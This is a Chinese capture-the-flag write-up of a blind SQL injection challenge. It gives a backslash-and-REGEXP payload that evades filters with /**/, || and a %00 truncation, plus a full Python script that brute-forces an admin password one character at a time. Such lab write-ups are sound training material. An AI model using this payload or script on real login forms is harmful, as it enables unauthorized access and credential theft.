首先我们在窗口中尝试一些闭合发现都被禁用了
通过使用御剑可以扫描到robots.txt文件,进入查看可以找到hint.txt文件
regexp正则注入
简单来说regexp用来匹配文本,不区分大小写,可以从头开始一位一位进行爆破
根据提示我们需要对passwd进行爆破,用户名可以任意
If $_POST['passwd'] === admin's password,
Then you will get the flag;
空格由/**/
,or
可以用||
代替
综上,我们可以大致构造payload为
username=\
passwd=||/**/passwd/**/regexp/**/"^a"
由于末尾的单引号并未闭合,所以要用到%00
作为一个截断的作用来代替# 和-- -
这类注释符
passwd=||/**/passwd/**/regexp/**/"^a";%00&username=\
接下来使用python 进行密码爆破即可
import requests
from urllib import parse
import string
import time
url='http://60a15aaf-a831-477a-96b4-c25ec5aea4ef.node3.buuoj.cn/index.php'
string= string.ascii_lowercase + string.digits + '_'
flag=''
for i in range(100):
for j in string:
data={
"passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((flag+j),parse.unquote('%00')),
#'passwd':'||/*1*/passwd/*1*/regexp/*1*/"^{}";{}'.format(i,'%00'),
'username':"\\"
}
#print(data)
res = requests.post(url=url,data=data).text
#print(res)
if 'welcome' in res:
flag+=j
print(flag)
#print(res)
break
time.sleep(0.1)
time.sleep(0.1)
%00注释
该符号不是MySQL的注释符,但PHP具有%00截断的漏洞,有些函数会把%00当做结束符,也就起到了注释掉后面代码的作用。 (比如文件上传中的00截断漏洞)
在Python脚本中的使用:Python访问浏览器,会进行一次URL编码, 因此参数中的URL编码在服务端并不会解码,#等可打印字符直接在参数中输入字符即可,但不可打印字符如%00就需要进行格式处理。
问题变成了:如何在Python输入不可打印字符?
可以使用parse.unquote(’%00’),或者chr(0),二者都需要使用.format()进行格式化输出。完整格式.format(parse.unquote('%00'))或.format(chr(0))。
参考: